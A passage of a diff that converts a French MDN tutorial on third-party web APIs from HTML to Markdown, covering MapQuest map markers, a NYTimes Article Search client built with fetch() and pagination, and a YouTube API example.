`window.onload`, vous pouvez ajouter le fragment de code suivante `window.onload` : -<pre class="brush: js">L.marker([53.480759, -2.242631], { +```js +L.marker([53.480759, -2.242631], { icon: L.mapquest.icons.marker({ primaryColor: '#22407F', secondaryColor: '#3B5998', @@ -142,158 +155,142 @@ var map = L.mapquest.map('map', { }) }) .bindPopup('Ici se trouve Manchester !') -.addTo(map);</pre> +.addTo(map); +``` -<p>Comme on peut le voir ici, la méthode peut prendre deux paramètres :</p> +Comme on peut le voir ici, la méthode peut prendre deux paramètres : -<ul> - <li>le premier qui contient les coordonnées géographiques de l'emplacement où afficher le pointeur sous la forme d'un tableau</li> - <li>le deuxième qui est un objet d'options contenant une propriété <code>icon</code> qui définit l'icône à afficher à cet emplacement.</li> -</ul> +- le premier qui contient les coordonnées géographiques de l'emplacement où afficher le pointeur sous la forme d'un tableau +- le deuxième qui est un objet d'options contenant une propriété `icon` qui définit l'icône à afficher à cet emplacement. -<p>L'icône est définie via un appel à la méthode <code><a href="https://developer.mapquest.com/documentation/mapquest-js/v1.3/l-mapquest-icons/">mapquest.icons.marker()</a></code> à laquelle on fournit des informations telles que la couleur et la taille du marqueur.</p> +L'icône est définie via un appel à la méthode [`mapquest.icons.marker()`](https://developer.mapquest.com/documentation/mapquest-js/v1.3/l-mapquest-icons/) à laquelle on fournit des informations telles que la couleur et la taille du marqueur. -<p>Après l'appel à la première méthode, on enchaîne avec un appel avec <code>.bindPopup('Ici se trouve Manchester !')</code>, qui fournit le contenu à afficher lorsqu'on cliquera sur le marqueur.</p> +Après l'appel à la première méthode, on enchaîne avec un appel avec `.bindPopup('Ici se trouve Manchester !')`, qui fournit le contenu à afficher lorsqu'on cliquera sur le marqueur. -<p>Enfin, on chaîne un appel <code>.addTo(map)</code> pour ajouter le marqueur sur la carte.</p> +Enfin, on chaîne un appel `.addTo(map)` pour ajouter le marqueur sur la carte. -<p>Essayez les différentes options que vous trouverez dans la documentation et voyez quel résultat vous pouvez obtenir ! MapQuest fournit certaines fonctionnalités relativement avancées (itinéraire, recherche, etc.).</p> +Essayez les différentes options que vous trouverez dans la documentation et voyez quel résultat vous pouvez obtenir ! MapQuest fournit certaines fonctionnalités relativement avancées (itinéraire, recherche, etc.). -<div class="blockIndicator note"> -<p><strong>Note :</strong> Si vous ne parvenez pas à faire fonctionner l'exemple, vous pouvez consulter la version finalisée de notre exemple : <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/third-party-apis/mapquest/expanded-example.html">expanded-example.html</a>.</p> -</div> +> **Note :** Si vous ne parvenez pas à faire fonctionner l'exemple, vous pouvez consulter la version finalisée de notre exemple : [expanded-example.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/third-party-apis/mapquest/expanded-example.html). -<h2 id="Quid_de_Google_Maps">Quid de Google Maps ?</h2> +## Quid de Google Maps ? -<p>Google Maps est sans doute l'API de cartographie la plus populaire. Pourquoi ne l'avons-nous pas incluse ici ? Nous avons choisi MapQuest pour plusieurs raisons :</p> +Google Maps est sans doute l'API de cartographie la plus populaire. Pourquoi ne l'avons-nous pas incluse ici ? Nous avons choisi MapQuest pour plusieurs raisons : -<ul> - <li>L'utilisation est beaucoup plus simple. Pour les API Google, il faut créer un compte Google, se connecter à la <a href="https://console.cloud.google.com">Google Cloud Platform Console</a> pour créer des clés d'API avec une procédure assez complexe.</li> - <li>Pour utiliser l'API <a href="https://cloud.google.com/maps-platform/">Google Maps</a> et bien qu'un usage léger soit gratuit, il est nécessaire de fournir une carte de crédit à des fins de facturation et nous pensions que cela n'était pas acceptable pour un tel tutoriel.</li> - <li>Nous souhaitions montrer que des alternatives étaient disponibles.</li> -</ul> +- L'utilisation est beaucoup plus simple. Pour les API Google, il faut créer un compte Google, se connecter à la [Google Cloud Platform Console](https://console.cloud.google.com) pour créer des clés d'API avec une procédure assez complexe. +- Pour utiliser l'API [Google Maps](https://cloud.google.com/maps-platform/) et bien qu'un usage léger soit gratuit, il est nécessaire de fournir une carte de crédit à des fins de facturation et nous pensions que cela n'était pas acceptable pour un tel tutoriel. +- Nous souhaitions montrer que des alternatives étaient disponibles. -<h2 id="Une_approche_pour_utiliser_les_API_tierces">Une approche pour utiliser les API tierces</h2> +## Une approche pour utiliser les API tierces -<h3 id="Une_API_REST_du_NYTimes">Une API REST du NYTimes</h3> +### Une API REST du NYTimes -<p>Prenons un autre exemple d'API, l'API du <a href="https://developer.nytimes.com">New York Times</a>. Cette API permet de récupérer les informations provenant du New York Times et de les afficher sur votre site. Cette API est ce qu'on appelle une API REST car elle permet de récupérer des données via des requêtes HTTP sur des URL spécifiques dans lesquelles on peut fournir des données comme des termes de recherches (souvent encodés comme paramètres dans l'URL). Ce type d'API est relativement fréquent.</p> +Prenons un autre exemple d'API, l'API du [New York Times](https://developer.nytimes.com). Cette API permet de récupérer les informations provenant du New York Times et de les afficher sur votre site. Cette API est ce qu'on appelle une API REST car elle permet de récupérer des données via des requêtes HTTP sur des URL spécifiques dans lesquelles on peut fournir des données comme des termes de recherches (souvent encodés comme paramètres dans l'URL). Ce type d'API est relativement fréquent. -<p>Construisons un second exemple pour comprendre comment utiliser l'API du NYTimes. Au fur et à mesure nous décrirons également une approche plus générale pour consommer d'autres API tierces.</p> +Construisons un second exemple pour comprendre comment utiliser l'API du NYTimes. Au fur et à mesure nous décrirons également une approche plus générale pour consommer d'autres API tierces. -<h3 id="Trouver_la_documentation">Trouver la documentation</h3> +### Trouver la documentation -<p>Lorsqu'on veut utiliser une API tierce, il est toujours utile de trouver la documentation correspondante pour connaître les fonctionnalités offertes, comment les utiliser, etc. La documentation de l'API du New York Times API se situe ici : <a href="https://developer.nytimes.com/">https://developer.nytimes.com/</a>.</p> +Lorsqu'on veut utiliser une API tierce, il est toujours utile de trouver la documentation correspondante pour connaître les fonctionnalités offertes, comment les utiliser, etc. La documentation de l'API du New York Times API se situe ici : <https://developer.nytimes.com/>. -<h3 id="Obtenir_une_clé_de_développement">Obtenir une clé de développement</h3> +### Obtenir une clé de développement -<p>La plupart des API reposent sur l'obtention et l'utilisation d'une clé de développement (tant pour des raisons de sécurité que de responsabilité). Pour obtenir une clé de développement pour l'API du NYTimes, vous pouvez suivre les instructions de <a href="https://developer.nytimes.com/get-started">https://developer.nytimes.com/get-started</a>.</p> +La plupart des API reposent sur l'obtention et l'utilisation d'une clé de développement (tant pour des raisons de sécurité que de responsabilité). Pour obtenir une clé de développement pour l'API du NYTimes, vous pouvez suivre les instructions de <https://developer.nytimes.com/get-started>. -<ol> - <li> - <p>Demandez une clé pour l'API Article Search — créez une nouvelle application et sélectionnez cette API, fournissez un nom et une description pour votre application, activez le bouton sous "Article Search API" puis cliquez sur "Create").</p> - </li> - <li> - <p>Vous pouvez alors récupérer la clé d'API à partir de la page suivante.</p> - </li> - <li> - <p>Pour construire le socle de notre exemple, copiez <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/third-party-apis/nytimes/nytimes_start.html">nytimes_start.html</a> et <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/third-party-apis/nytimes/nytimes.css">nytimes.css</a> dans un nouveau répertoire sur votre ordinateur. Si vous avez déjà <a href="/fr/docs/Apprendre#Obtenir_nos_exemples_de_code">cloné le dépôt des exemples</a>, vous disposez déjà d'un exemplaire de ces fichiers et vous pourrez les trouver sous le répertoire <em>javascript/apis/third-party-apis/nytimes</em>. L'élément <code><script></code> contient un certain nombre de variables nécessaires à l'initialisation de l'exemple. Nous allons ensuite remplir les fonctionnalités nécessaires.</p> - </li> -</ol> +1. Demandez une clé pour l'API Article Search — créez une nouvelle application et sélectionnez cette API, fournissez un nom et une description pour votre application, activez le bouton sous "Article Search API" puis cliquez sur "Create"). +2. Vous pouvez alors récupérer la clé d'API à partir de la page suivante. +3. Pour construire le socle de notre exemple, copiez [nytimes_start.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/third-party-apis/nytimes/nytimes_start.html) et [nytimes.css](https://github.com/mdn/learning-area/blob/master/javascript/apis/third-party-apis/nytimes/nytimes.css) dans un nouveau répertoire sur votre ordinateur. Si vous avez déjà [cloné le dépôt des exemples](/fr/docs/Apprendre#Obtenir_nos_exemples_de_code), vous disposez déjà d'un exemplaire de ces fichiers et vous pourrez les trouver sous le répertoire _javascript/apis/third-party-apis/nytimes_. L'élément `<script>` contient un certain nombre de variables nécessaires à l'initialisation de l'exemple. Nous allons ensuite remplir les fonctionnalités nécessaires. -<p>Au final, on souhaite que l'application permette de saisir un terme de recherche, des dates optionnelles pour le début et la fin de la période à rechercher. Nous utiliserons alors ces paramètres afin de d'envoyer des requêtes sur l'API Article Search puis nous afficherons les résultats obtenus.</p> +Au final, on souhaite que l'application permette de saisir un terme de recherche, des dates optionnelles pour le début et la fin de la période à rechercher. Nous utiliserons alors ces paramètres afin de d'envoyer des requêtes sur l'API Article Search puis nous afficherons les résultats obtenus. -<p><img alt="" src="nytimes-search.png"></p> + -<h3 id="Connecter_lAPI_à_son_application">Connecter l'API à son application</h3> +### Connecter l'API à son application -<p>Tout d'abord, vous devrez créer une connexion entre l'API et votre application. Pour cette API, vous devez fournir la clé d'API comme paramètre <a href="/fr/docs/Web/HTTP/Méthode/GET">GET</a> à chaque requête.</p> +Tout d'abord, vous devrez créer une connexion entre l'API et votre application. Pour cette API, vous devez fournir la clé d'API comme paramètre [GET](/fr/docs/Web/HTTP/Méthode/GET) à chaque requête. -<ol> - <li> - <p>Localisez la ligne qui suit et remplacez la valeur avec la clé de développement que vous avez obtenu plus tôt :</p> +1. Localisez la ligne qui suit et remplacez la valeur avec la clé de développement que vous avez obtenu plus tôt : - <pre class="brush: js">var key = ' ... ';</pre> - </li> - <li> - <p>Ajoutez la ligne suivante sous le commentaire <code>// Event listeners to control the functionality</code>. Cette ligne permet d'exécuter la fonction <code>submitSearch()</code> lorsque le formulaire est envoyé (quand on presse le bouton).</p> + ```js + var key = ' ... '; + ``` - <pre class="brush: js">searchForm.addEventListener('submit', submitSearch);</pre> - </li> - <li> - <p>Sous cette nouvelle ligne, ajoutons les fonctions <code>submitSearch()</code> et <code>fetchResults()</code> :</p> +2. Ajoutez la ligne suivante sous le commentaire `// Event listeners to control the functionality`. Cette ligne permet d'exécuter la fonction `submitSearch()` lorsque le formulaire est envoyé (quand on presse le bouton). - <pre class="brush: js">function submitSearch(e) { - pageNumber = 0; - fetchResults(e); -} + ```js + searchForm.addEventListener('submit', submitSearch); + ``` + +3. Sous cette nouvelle ligne, ajoutons les fonctions `submitSearch()` et `fetchResults()` : -function fetchResults(e) { - // On utilise preventDefault() afin d'éviter - // l'envoie vers notre serveur et le rafraîchissement - // de la page - e.preventDefault(); + ```js + function submitSearch(e) { + pageNumber = 0; + fetchResults(e); + } - // On compose l'URL - url = baseURL + '?api-key=' + key + '&page=' + pageNumber + '&q=' + searchTerm.value + '&fq=document_type:("article")'; + function fetchResults(e) { + // On utilise preventDefault() afin d'éviter + // l'envoie vers notre serveur et le rafraîchissement + // de la page + e.preventDefault(); - if(startDate.value !== '') { - url += '&begin_date=' + startDate.value; - }; + // On compose l'URL + url = baseURL + '?api-key=' + key + '&page=' + pageNumber + '&q=' + searchTerm.value + '&fq=document_type:("article")'; - if(endDate.value !== '') { - url += '&end_date=' + endDate.value; - }; + if(startDate.value !== '') { + url += '&begin_date=' + startDate.value; + }; -}</pre> - </li> -</ol> + if(endDate.value !== '') { + url += '&end_date=' + endDate.value; + }; + + } + ``` -<p><code>submitSearch()</code> commence par réinitialiser le nombre de page à 0 puis appelle <code>fetchResults()</code>. Cette fonction commence par appeler <code><a href="/fr/docs/Web/API/Event/preventDefault">preventDefault()</a></code> sur l'évènement afin d'empêcher l'envoi du formulaire vers notre serveur (ce qui casserait l'exemple). Ensuite, on assemble la chaîne de caractères qui formera l'URL sur laquelle on fera la requête. Dans cette URL, on commence par mettre les fragments « obligatoires » (en tout cas pour cette démonstration) :</p> +`submitSearch()` commence par réinitialiser le nombre de page à 0 puis appelle `fetchResults()`. Cette fonction commence par appeler [`preventDefault()`](/fr/docs/Web/API/Event/preventDefault) sur l'évènement afin d'empêcher l'envoi du formulaire vers notre serveur (ce qui casserait l'exemple). Ensuite, on assemble la chaîne de caractères qui formera l'URL sur laquelle on fera la requête. Dans cette URL, on commence par mettre les fragments « obligatoires » (en tout cas pour cette démonstration) : -<ul> - <li>L'URL de base (telle que fournie par la variable <code>baseURL</code>).</li> - <li>La clé d'API qui a été passée au paramètre d'URL <code>api-key</code> et dont la valeur dans notre script est fournie par la variable <code>key</code>.</li> - <li>Le nombre de pages est fourni dans l'URL avec le paramètre <code>page</code> et provient de la variable <code>pageNumber</code> dans notre script.</li> - <li>Le terme de la recherche est fourni dans l'URL avec le paramètre <code>q</code> et provient du texte <code>searchTerm</code> fourni par l'élément {{htmlelement("input")}}.</li> - <li>Le type de document qu'on souhaite obtenir dans les résultats est une expression passée via le paramètre <code>fq</code> de l'URL. Ici, on souhaite obtenir les articles.</li> -</ul> +- L'URL de base (telle que fournie par la variable `baseURL`). +- La clé d'API qui a été passée au paramètre d'URL `api-key` et dont la valeur dans notre script est fournie par la variable `key`. +- Le nombre de pages est fourni dans l'URL avec le paramètre `page` et provient de la variable `pageNumber` dans notre script. +- Le terme de la recherche est fourni dans l'URL avec le paramètre `q` et provient du texte `searchTerm` fourni par l'élément {{htmlelement("input")}}. +- Le type de document qu'on souhaite obtenir dans les résultats est une expression passée via le paramètre `fq` de l'URL. Ici, on souhaite obtenir les articles. -<p>Après, on utilise un ensemble d'instructions <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/if...else">if()</a></code> pour vérifier si des valeurs ont été fournies pour les champs <code>startDate</code> et <code>endDate</code> dans le formulaire. Si c'est le cas, on utilise ces valeurs pour renseigner les paramètres d'URL <code>begin_date</code> et/ou <code>end_date</code>.</p> +Après, on utilise un ensemble d'instructions [`if()`](/fr/docs/Web/JavaScript/Reference/Instructions/if...else) pour vérifier si des valeurs ont été fournies pour les champs `startDate` et `endDate` dans le formulaire. Si c'est le cas, on utilise ces valeurs pour renseigner les paramètres d'URL `begin_date` et/ou `end_date`. -<p>Si on prend un exemple d'URL complète ainsi construite :</p> +Si on prend un exemple d'URL complète ainsi construite : -<pre>https://api.nytimes.com/svc/search/v2/articlesearch.json?api-key=YOUR-API-KEY-HERE&page=0&q=cats -&fq=document_type:("article")&begin_date=20170301&end_date=20170312 </pre> + https://api.nytimes.com/svc/search/v2/articlesearch.json?api-key=YOUR-API-KEY-HERE&page=0&q=cats + &fq=document_type:("article")&begin_date=20170301&end_date=20170312 -<div class="note"> -<p><strong>Note :</strong> Pour en savoir plus sur les différents paramètres d'URL qui peuvent être utilisés, vous pouvez consulter <a href="https://developer.nytimes.com/">la documentation du NYTimes</a>.</p> -</div> +> **Note :** Pour en savoir plus sur les différents paramètres d'URL qui peuvent être utilisés, vous pouvez consulter [la documentation du NYTimes](https://developer.nytimes.com/). -<div class="note"> -<p><strong>Note :</strong> Dans cet exemple, la validation du formulaire est assez rudimentaire : le terme recherché doit nécessairement être renseigné avant de pouvoir valider le formulaire grâce à l'attribut <code>required</code>. Les champs pour les dates doivent suivre un format particulier et elles ne seront pas envoyées tant que leur valeur ne se composera pas de 8 chiffres (en HTML, c'est ce qui est indiqué par l'attribut <code>pattern="[0-9]{8}"</code>). Voir la page sur <a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">la validation des données d'un formulaire</a> pour en savoir plus sur ce fonctionnement.</p> -</div> +> **Note :** Dans cet exemple, la validation du formulaire est assez rudimentaire : le terme recherché doit nécessairement être renseigné avant de pouvoir valider le formulaire grâce à l'attribut `required`. Les champs pour les dates doivent suivre un format particulier et elles ne seront pas envoyées tant que leur valeur ne se composera pas de 8 chiffres (en HTML, c'est ce qui est indiqué par l'attribut `pattern="[0-9]{8}"`). Voir la page sur [la validation des données d'un formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire) pour en savoir plus sur ce fonctionnement. -<h3 id="Récupérer_des_données_depuis_lAPI">Récupérer des données depuis l'API</h3> +### Récupérer des données depuis l'API -<p>Maintenant que nous avons construit notre URL, envoyons une requête à cet endroit. Pour cela, nous utiliserons l'<a href="/fr/docs/Web/API/Fetch_API/Using_Fetch">API Fetch</a>.</p> +Maintenant que nous avons construit notre URL, envoyons une requête à cet endroit. Pour cela, nous utiliserons l'[API Fetch](/fr/docs/Web/API/Fetch_API/Using_Fetch). -<p>Dans la fonction <code>fetchResults()</code>, juste avant l'accolade de fin, ajoutez le fragment de code suivant :</p> +Dans la fonction `fetchResults()`, juste avant l'accolade de fin, ajoutez le fragment de code suivant : -<pre class="brush: js">// On utilise fetch() pour envoyer la requête à l'API +```js +// On utilise fetch() pour envoyer la requête à l'API fetch(url).then(function(result) { return result.json(); }).then(function(json) { displayResults(json); -});</pre> +}); +``` -<p>On envoie la requête en passant la variable <code>url</code> comme paramètre à la fonction <code><a href="/fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch()</a></code> puis on convertit le corps de la réponse avec la fonction <code><a href="/fr/docs/Web/API/Body/json">json()</a></code> puis on passe le JSON ainsi obtenu à la fonction <code>displayResults()</code> afin que les données puissent être affichées dans l'interface utilisateur.</p> +On envoie la requête en passant la variable `url` comme paramètre à la fonction [`fetch()`](/fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch) puis on convertit le corps de la réponse avec la fonction [`json()`](/fr/docs/Web/API/Body/json) puis on passe le JSON ainsi obtenu à la fonction `displayResults()` afin que les données puissent être affichées dans l'interface utilisateur. -<h3 id="Afficher_les_données">Afficher les données</h3> +### Afficher les données -<p>Voyons maintenant comment afficher les données reçues. Dans le fichier contenant votre code, ajoutez la fonction suivante après la fonction <code>fetchResults()</code>.</p> +Voyons maintenant comment afficher les données reçues. Dans le fichier contenant votre code, ajoutez la fonction suivante après la fonction `fetchResults()`. -<pre class="brush: js">function displayResults(json) { +```js +function displayResults(json) { while (section.firstChild) { section.removeChild(section.firstChild); } @@ -311,7 +308,7 @@ fetch(url).then(function(result) { para.textContent = 'Aucun résultat reçu.' section.appendChild(para); } else { - for(var i = 0; i < articles.length; i++) { + for(var i = 0; i < articles.length; i++) { var article = document.createElement('article'); var heading = document.createElement('h2'); var link = document.createElement('a'); @@ -327,13 +324,13 @@ fetch(url).then(function(result) { link.textContent = current.headline.main; para1.textContent = current.snippet; para2.textContent = 'Mots-clés : '; - for(var j = 0; j < current.keywords.length; j++) { + for(var j = 0; j < current.keywords.length; j++) { var span = document.createElement('span'); span.textContent += current.keywords[j].value + ' '; para2.appendChild(span); } - if(current.multimedia.length > 0) { + if(current.multimedia.length > 0) { img.src = 'http://www.nytimes.com/' + current.multimedia[0].url; img.alt = current.headline.main; } @@ -349,93 +346,83 @@ fetch(url).then(function(result) { section.appendChild(article); } } -}</pre> - -<p>Il y a pas mal de code ici. Reprenons étape par étape pour l'expliquer :</p> - -<ul> - <li>La boucle <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/while">while</a></code> est utilisée afin de supprimer tout le contenu d'un élément du DOM. Dans ce cas, on enlève ce qu'il y a dans l'élément {{htmlelement("section")}}. On teste si la <code><section></code> possède un élément fils et si c'est le cas, on retire le premier, ainsi de suite jusqu'à ce que l'élément <code><section></code> n'ait plus d'éléments fils.</li> - <li>Ensuite, on renseigne la variable <code>articles</code> avec <code>json.response.docs</code> : le tableau contenant les objets qui représentent les articles renvoyés par la recherche. Ce renommage sert uniquement à rendre le code plus simple.</li> - <li>Le premier bloc <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/if...else">if()</a></code> vérifie si 10 ont été renvoyés par l'API (cette dernière envoie les articles par bloc de 10 à chaque appel). Dans ce cas, on affiche l'élément {{htmlelement("nav")}} qui contient des boutons de pagination <em>10 articles précédents</em>/<em>10 articles suivants</em>. S'il y a moins de 10 articles, tout le contenu tiendra sur une page et il ne sera pas nécessaire d'avoir les boutons. Nous verrons comment « câbler » ces boutons pour qu'ils fonctionnent dans la prochaine section.</li> - <li>Le bloc <code>if()</code> suivant sert à vérifier si aucun article n'a été renvoyé. Lorsqu'il n'y a aucun résultat, on crée un élément {{htmlelement("p")}} qui affiche le texte "Aucun résultat reçu" puis on insère ce paragraphe dans l'élément <code><section></code>.</li> - <li>Si des articles sont renvoyés, on commence par créer les éléments qu'on souhaite utiliser afin de les afficher puis on insère le contenu dans chaque puis on insère ces éléments dans le DOM. Pour connaître les propriétés des objets obtenues via l'API, nous avons consulté la référence de l'API <em>Article Search</em> (voir <a href="https://developer.nytimes.com/apis">les API NYTimes</a>). La plupart de ces opérations sont assez parlantes mais voici quelques-unes qui sont notables : - <ul> - <li>On utilise une boucle <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for">for</a></code> (<code>for(var j = 0; j < current.keywords.length; j++) { ... }</code> ) pour parcourir les mots-clés associés à chaque article et on insère ces mots-clés dans des éléments {{htmlelement("span")}} à l'intérieur d'un paragraphe <code><p></code>. De cette façon, nous pourrons plus facilement mettre en forme ces mots-clés.</li> - <li>On utilise un bloc <code>if()</code> (<code>if(current.multimedia.length > 0) { ... }</code>) afin de voir si l'article possède des images associées. Si c'est le cas, on affiche la première image qui existe.</li> - <li>On applique la classe <code>"clearfix"</code> à l'élément <code><div></code> afin de pouvoir le dégager.</li> - </ul> - </li> -</ul> - -<h3 id="Câbler_les_boutons_pour_la_pagination">Câbler les boutons pour la pagination</h3> - -<p>Pour que les boutons de pagination fonctionnent, on incrémente (ou on décrémente) la valeur de la variable <code>pageNumber</code> puis on renvoie une requête avec la nouvelle valeur incluse dans le paramètre de l'URL <code>page</code>. Cela fonctionne car l'API du NYTimes ne renvoie que 10 résultats à la fois. S'il y a plus de 10 résultats disponibles, la requête renverra les 10 premiers (0 à 9) lorsque le paramètre <code>page</code> vaut 0 dans l'URL (ou lorsqu'il n'est pas inclus du tout, c'est la valeur par défaut). Les 10 prochains résultats (10 à 19) peuvent être récupérés lorsque le paramètre <code>page</code> vaut 1 et ainsi de suite.</p> - -<p>En connaissant cela, on peut écrire une fonction pour gérer la pagination.</p> - -<ol> - <li> - <p>Après l'appel existant à <code><a href="/fr/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>, on ajoute les deux prochaines lignes qui appelleront les fonctions <code>nextPage()</code> et <code>previousPage()</code> lorsqu'on cliquera sur le bouton correspondant :</p> - - <pre class="brush: js">nextBtn.addEventListener('click', nextPage); -previousBtn.addEventListener('click', previousPage);</pre> - </li> - <li> - <p>À la suite, on définit le corps de ces fonctions :</p> - - <pre class="brush: js">function nextPage(e) { - pageNumber++; - fetchResults(e); -}; - -function previousPage(e) { - if(pageNumber > 0) { - pageNumber--; - } else { - return; - } - fetchResults(e); -};</pre> +} +``` + +Il y a pas mal de code ici. Reprenons étape par étape pour l'expliquer : + +- La boucle [`while`](/fr/docs/Web/JavaScript/Reference/Instructions/while) est utilisée afin de supprimer tout le contenu d'un élément du DOM. Dans ce cas, on enlève ce qu'il y a dans l'élément {{htmlelement("section")}}. On teste si la `<section>` possède un élément fils et si c'est le cas, on retire le premier, ainsi de suite jusqu'à ce que l'élément `<section>` n'ait plus d'éléments fils. +- Ensuite, on renseigne la variable `articles` avec `json.response.docs` : le tableau contenant les objets qui représentent les articles renvoyés par la recherche. Ce renommage sert uniquement à rendre le code plus simple. +- Le premier bloc [`if()`](/fr/docs/Web/JavaScript/Reference/Instructions/if...else) vérifie si 10 ont été renvoyés par l'API (cette dernière envoie les articles par bloc de 10 à chaque appel). Dans ce cas, on affiche l'élément {{htmlelement("nav")}} qui contient des boutons de pagination _10 articles précédents_/_10 articles suivants_. S'il y a moins de 10 articles, tout le contenu tiendra sur une page et il ne sera pas nécessaire d'avoir les boutons. Nous verrons comment « câbler » ces boutons pour qu'ils fonctionnent dans la prochaine section. +- Le bloc `if()` suivant sert à vérifier si aucun article n'a été renvoyé. Lorsqu'il n'y a aucun résultat, on crée un élément {{htmlelement("p")}} qui affiche le texte "Aucun résultat reçu" puis on insère ce paragraphe dans l'élément `<section>`. +- Si des articles sont renvoyés, on commence par créer les éléments qu'on souhaite utiliser afin de les afficher puis on insère le contenu dans chaque puis on insère ces éléments dans le DOM. Pour connaître les propriétés des objets obtenues via l'API, nous avons consulté la référence de l'API _Article Search_ (voir [les API NYTimes](https://developer.nytimes.com/apis)). La plupart de ces opérations sont assez parlantes mais voici quelques-unes qui sont notables : + + - On utilise une boucle [`for`](/fr/docs/Web/JavaScript/Reference/Instructions/for) (`for(var j = 0; j < current.keywords.length; j++) { ... }` ) pour parcourir les mots-clés associés à chaque article et on insère ces mots-clés dans des éléments {{htmlelement("span")}} à l'intérieur d'un paragraphe `<p>`. De cette façon, nous pourrons plus facilement mettre en forme ces mots-clés. + - On utilise un bloc `if()` (`if(current.multimedia.length > 0) { ... }`) afin de voir si l'article possède des images associées. Si c'est le cas, on affiche la première image qui existe. + - On applique la classe `"clearfix"` à l'élément `<div>` afin de pouvoir le dégager. + +### Câbler les boutons pour la pagination + +Pour que les boutons de pagination fonctionnent, on incrémente (ou on décrémente) la valeur de la variable `pageNumber` puis on renvoie une requête avec la nouvelle valeur incluse dans le paramètre de l'URL `page`. Cela fonctionne car l'API du NYTimes ne renvoie que 10 résultats à la fois. S'il y a plus de 10 résultats disponibles, la requête renverra les 10 premiers (0 à 9) lorsque le paramètre `page` vaut 0 dans l'URL (ou lorsqu'il n'est pas inclus du tout, c'est la valeur par défaut). Les 10 prochains résultats (10 à 19) peuvent être récupérés lorsque le paramètre `page` vaut 1 et ainsi de suite. + +En connaissant cela, on peut écrire une fonction pour gérer la pagination. + +1. Après l'appel existant à [`addEventListener()`](/fr/docs/Web/API/EventTarget/addEventListener), on ajoute les deux prochaines lignes qui appelleront les fonctions `nextPage()` et `previousPage()` lorsqu'on cliquera sur le bouton correspondant : + + ```js + nextBtn.addEventListener('click', nextPage); + previousBtn.addEventListener('click', previousPage); + ``` + +2. À la suite, on définit le corps de ces fonctions : + + ```js + function nextPage(e) { + pageNumber++; + fetchResults(e); + }; + + function previousPage(e) { + if(pageNumber > 0) { + pageNumber--; + } else { + return; + } + fetchResults(e); + }; + ``` - <p>La première fonction est assez simple : on incrémente la variable <code>pageNumber</code> puis on exécute à nouveau la fonction <code>fetchResults()</code> afin d'afficher les prochains résultats.</p> + La première fonction est assez simple : on incrémente la variable `pageNumber` puis on exécute à nouveau la fonction `fetchResults()` afin d'afficher les prochains résultats. - <p>La seconde fonction est similaire, mais on prend la précaution de vérifier que <code>pageNumber</code> ne vaut pas déjà 0 avant de diminuer sa valeur (si la requête est envoyée avec un paramètre négatif, on pourrait avoir une erreur). Lorsque <code>pageNumber</code> vaut déjà 0, on sort de la fonction avec <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/return">return</a></code> afin d'éviter de lancer une requête pour rien (si on est déjà sur la première page, pas besoin de recharger les résultats à nouveau).</p> - </li> -</ol> + La seconde fonction est similaire, mais on prend la précaution de vérifier que `pageNumber` ne vaut pas déjà 0 avant de diminuer sa valeur (si la requête est envoyée avec un paramètre négatif, on pourrait avoir une erreur). Lorsque `pageNumber` vaut déjà 0, on sort de la fonction avec [`return`](/fr/docs/Web/JavaScript/Reference/Instructions/return) afin d'éviter de lancer une requête pour rien (si on est déjà sur la première page, pas besoin de recharger les résultats à nouveau). -<div class="blockIndicator note"> -<p><strong>Note :</strong> Vous pouvez trouver <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/third-party-apis/nytimes/index.html">l'exemple complet sur l'API du NYTimes sur GitHub</a>.</p> -</div> +> **Note :** Vous pouvez trouver [l'exemple complet sur l'API du NYTimes sur GitHub](https://github.com/mdn/learning-area/blob/master/javascript/apis/third-party-apis/nytimes/index.html). -<h2 id="Exemple_dutilisation_de_lAPI_YouTube">Exemple d'utilisation de l'API YouTube</h2> +## Exemple d'utilisation de l'API YouTube -<p>Nous avons également mis à disposition un autre exemple que vous pouvez étudier et adapter : <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/third-party-apis/youtube">exemple de recherche de vidéo YouTube</a>. Dans cet exemple, on utilise deux API :</p> +Nous avons également mis à disposition un autre exemple que vous pouvez étudier et adapter : [exemple de recherche de vidéo YouTube](https://github.com/mdn/learning-area/tree/master/javascript/apis/third-party-apis/youtube). Dans cet exemple, on utilise deux API : -<ul> - <li><a href="https://developers.google.com/youtube/v3/docs/">L'API YouTube Data</a> qui permet de chercher parmi les vidéos YouTube et de renvoyer des résultats.</li> - <li><a href="https://developers.google.com/youtube/iframe_api_reference">L'API YouTube IFrame Player</a> afin d'afficher les vidéos recherchées dans un lecteur vidéo, affiché dans une <em>iframe</em> pour les regarder.</li> -</ul> +- [L'API YouTube Data](https://developers.google.com/youtube/v3/docs/) qui permet de chercher parmi les vidéos YouTube et de renvoyer des résultats. +- [L'API YouTube IFrame Player](https://developers.google.com/youtube/iframe_api_reference) afin d'afficher les vidéos recherchées dans un lecteur vidéo, affiché dans une _iframe_ pour les regarder. -<p>Cet exemple est intéressant car il permet d'illustrer l'utilisation combinée de deux API tierces pour construire une application. La première API est une API REST tandis que la seconde est plus proche du fonctionnement de MapQuest (des méthodes spécifiques à l'API, etc.). On notera que les deux API ont besoin qu'une bibliothèque JavaScript soit chargée sur la page. L'API REST possède des fonctions qui permettent de gérer les requêtes HTTP et de renvoyer les résultats.</p> +Cet exemple est intéressant car il permet d'illustrer l'utilisation combinée de deux API tierces pour construire une application. La première API est une API REST tandis que la seconde est plus proche du fonctionnement de MapQuest (des méthodes spécifiques à l'API, etc.). On notera que les deux API ont besoin qu'une bibliothèque JavaScript soit chargée sur la page. L'API REST possède des fonctions qui permettent de gérer les requêtes HTTP et de renvoyer les résultats. -<p><img alt="" src="youtube-example.png"></p> + 